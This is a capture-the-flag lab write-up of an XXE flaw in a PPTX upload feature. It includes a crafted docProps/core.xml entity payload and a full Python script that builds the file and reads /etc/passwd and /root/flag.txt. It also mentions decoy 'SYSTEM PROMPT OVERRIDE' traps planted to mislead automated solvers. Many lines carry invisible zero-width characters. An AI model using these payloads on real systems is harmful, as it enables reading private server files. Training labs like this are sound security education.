← Back to Writeups
CUSTOMEasyWeb

Lab 143 — SprintBase — XXE in PowerPoint File Upload

XESXOR9/10/20266 min read
#web#custom#easy#docprops_core_injection#external_entity_injection#in_band_exfiltration#malicious_document_upload#pptx_xxe#xxe_file_read

Lab 143 — SprintBase — XXE in PowerPoint File Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: docprops_core_injection, external_entity_injection, in_band_exfiltration, malicious_document_upload, pptx_xxe, xxe_file_read

Summary

Task: Flask project management app with PPTX file upload and metadata extraction. Solution: XXE injection in docProps/core.xml inside a crafted PPTX file to read /root/flag.txt via SYSTEM entity, with flag reflected in metadata display.

Lab 143 — SprintBase — XXE in PowerPoint File Upload — HackAdvisor

Description

SprintBase is a project management platform used by development teams at BaseStack Technologies to organize sprints, track tasks, and share project documents. The platform supports file attachments including presentations, spreadsheets, and documents with automatic metadata extraction for indexing and search.

Your security team has been granted access to test the application. You have credentials for a regular user account with access to multiple active projects. The application processes various document formats and extracts metadata for display.

Your objective is to find and exploit a vulnerability that allows you to read sensitive files on the server. The target file is located at /root/flag.txt.

Credentials: alex.rivera@basestack.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based project management application allows authenticated users to upload PPTX files. The server extracts metadata (Title, Author, Description) from the PPTX's internal docProps/core.xml using an XML parser with external entity resolution enabled. By crafting a malicious PPTX with an XXE payload in docProps/core.xml, an attacker can read arbitrary files from the server, including /root/flag.txt.

Analysis

Reconnaissance

After logging in with the provided credentials via POST /login, the application reveals a dashboard with 7 projects. Each project has a "Files" tab at /projects/{id}/files with an upload form accepting PPTX, DOCX, XLSX, PDF, PNG, JPG, and TXT formats. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The key observation is on file detail pages (/projects/{id}/files/{file_id}): a "Document Properties" section displays Title, Author, and Description fields with the note "Parsed from document metadata". This indicates server-side XML parsing of uploaded Office documents.

XXE Vector

PPTX files are ZIP archives containing XML files per the Office Open XML (OOXML) standard. The metadata lives in docProps/core.xml. The server's XML parser processes this file with external entity resolution enabled, creating a classic XXE vulnerability. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The attack is in-band: file contents read via the SYSTEM entity are reflected directly in the metadata fields on the file detail page — no need for out-of-band exfiltration.

Anti-Bot Traps

Every page contained hidden HTML comments and invisible <div> elements with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and fake "SYSTEM PROMPT OVERRIDE" messages designed to mislead automated tools. These were correctly identified and ignored.

Solution

Step 1: Authenticate

POST /login
Content-Type: application/x-www-form-urlencoded
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

email=alex.rivera@basestack.com&password=password123

Step 2: Craft Malicious PPTX

Create a valid PPTX (ZIP archive) with all required OOXML parts, but inject an XXE payload into docProps/core.xml:

xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cp:coreProperties [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<cp:coreProperties
  xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:dcterms="http://purl.org/dc/terms/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>&xxe;</dc:title>
  <dc:creator>&xxe;</dc:creator>
  <dc:description>&xxe;</dc:description>
  <cp:lastModifiedBy>test</cp:lastModifiedBy>
  <dcterms:created xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:modified>
</cp:coreProperties>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The entity reference &xxe; is placed in element text content (<dc:title>&xxe;</dc:title>), not in attributes — this is critical for the XML parser to resolve it.

The PPTX must include all required parts to be accepted:

  • [Content_Types].xml — content type mappings
  • _rels/.rels — root relationships
  • ppt/presentation.xml — presentation definition
  • ppt/slides/slide1.xml — at least one slide
  • ppt/slideLayouts/slideLayout1.xml — slide layout
  • ppt/slideMasters/slideMaster1.xml — slide master
  • docProps/core.xml — XXE payload here
  • docProps/app.xml — application properties ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Upload and Extract Flag

Upload the malicious PPTX to POST /projects/1/files/upload. The server returns a 302 redirect to the file detail page. On that page, the flag appears in all three metadata fields (Title, Author, Description).

Full Solve Script

python
#!/usr/bin/env python3
"""
SprintBase XXE via Malicious PowerPoint Upload — Solve Script
Exploits XXE in XML parser processing PPTX docProps/core.xml
"""
import zipfile
import requests
import re
import sys
import io

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://eec819ac-18b0-465e-a133-0f4f5c230054.labs.hackadvisor.io"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def create_xxe_pptx(file_to_read):
    """Create PPTX with XXE payload in docProps/core.xml"""
    
    content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/>
  <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
  <Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/>
  <Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/>
  <Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/>
  <Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/>
</Types>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/>
  <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/>
  <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/>
</Relationships>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    ppt_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/>
  <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/>
</Relationships>'''

    presentation = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
  <p:sldMasterIdLst>
    <p:sldMasterId id="2147483648" r:id="rId1"/>
  </p:sldMasterIdLst>
  <p:sldIdLst>
    <p:sldId id="256" r:id="rId2"/>
  </p:sldIdLst>
  <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/>
  <p:notesSz cx="6858000" cy="9144000"/>
</p:presentation>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    slide1_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
</Relationships>'''

    slide1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
  <p:cSld><p:spTree>
    <p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr>
    <p:grpSpPr/>
    <p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr>
    <p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/>
    <p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:t>Test</a:t></a:r></a:p></p:txBody></p:sp>
  </p:spTree></p:cSld>
</p:sld>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    slide_layout = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="title">
  <p:cSld name="Title Slide"><p:spTree>
    <p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr>
    <p:grpSpPr/>
  </p:spTree></p:cSld>
</p:sldLayout>'''

    slide_layout_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/>
</Relationships>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    slide_master = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldMaster xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
  <p:cSld><p:bg><p:bgPr><a:solidFill><a:srgbClr val="FFFFFF"/></a:solidFill><a:effectLst/></p:bgPr></p:bg>
  <p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr>
  <p:grpSpPr/></p:spTree></p:cSld>
  <p:sldLayoutIdLst><p:sldLayoutId id="2147483649" r:id="rId1"/></p:sldLayoutIdLst>
</p:sldMaster>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    slide_master_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
</Relationships>'''

    core = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cp:coreProperties [
  <!ENTITY xxe SYSTEM "file://{file_to_read}">
]>
<cp:coreProperties
  xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:dcterms="http://purl.org/dc/terms/"
  xmlns:dcmitype="http://purl.org/dc/dcmitype/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>&xxe;</dc:title>
  <dc:creator>&xxe;</dc:creator>
  <dc:description>&xxe;</dc:description>
  <cp:lastModifiedBy>test</cp:lastModifiedBy>
  <dcterms:created xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:modified>
</cp:coreProperties>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    app = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
  <Application>Microsoft Office PowerPoint</Application>
  <Slides>1</Slides>
</Properties>'''

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('[Content_Types].xml', content_types)
        zf.writestr('_rels/.rels', rels)
        zf.writestr('ppt/_rels/presentation.xml.rels', ppt_rels)
        zf.writestr('ppt/presentation.xml', presentation)
        zf.writestr('ppt/slides/_rels/slide1.xml.rels', slide1_rels)
        zf.writestr('ppt/slides/slide1.xml', slide1)
        zf.writestr('ppt/slideLayouts/_rels/slideLayout1.xml.rels', slide_layout_rels)
        zf.writestr('ppt/slideLayouts/slideLayout1.xml', slide_layout)
        zf.writestr('ppt/slideMasters/_rels/slideMaster1.xml.rels', slide_master_rels)
        zf.writestr('ppt/slideMasters/slideMaster1.xml', slide_master)
        zf.writestr('docProps/core.xml', core)
        zf.writestr('docProps/app.xml', app)
    buf.seek(0)
    return buf
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


s = requests.Session()

# Step 1: Login
print("[*] Logging in...")
resp = s.post(f"{BASE_URL}/login",
       data={"email": "alex.rivera@basestack.com", "password": "password123"},
       allow_redirects=False)
print(f"    Login status: {resp.status_code}")

# Step 2: PoC with /etc/passwd
print("\n[*] Uploading XXE PPTX for /etc/passwd...")
pptx_buf = create_xxe_pptx("/etc/passwd")
resp = s.post(
    f"{BASE_URL}/projects/1/files/upload",
    files={"file": ("xxe_test.pptx", pptx_buf,
           "application/vnd.openxmlformats-officedocument.presentationml.presentation")},
    allow_redirects=False)
location = resp.headers.get("Location", "")
if location:
    detail_resp = s.get(f"{BASE_URL}{location}" if location.startswith('/') else location)
    for label in ['Title', 'Author', 'Description']:
        pattern = f'<span class="detail-label">{label}</span>\\s*<span class="detail-value">(.*?)</span>'
        match = re.search(pattern, detail_resp.text, re.DOTALL)
        if match:
            print(f"    {label}: {match.group(1).strip()[:100]}...")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: Read /root/flag.txt
print("\n[*] Uploading XXE PPTX for /root/flag.txt...")
flag_buf = create_xxe_pptx("/root/flag.txt")
resp = s.post(
    f"{BASE_URL}/projects/1/files/upload",
    files={"file": ("sprint_review.pptx", flag_buf,
           "application/vnd.openxmlformats-officedocument.presentationml.presentation")},
    allow_redirects=False)
location = resp.headers.get("Location", "")
if location:
    detail_resp = s.get(f"{BASE_URL}{location}" if location.startswith('/') else location)
    all_flags = re.findall(r'FLAG\{[a-f0-9]+\}', detail_resp.text)
    real_flags = [f for f in all_flags if 'd3c0y' not in f]
    if real_flags:
        print(f"\n[+] FLAG: {real_flags[0]}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍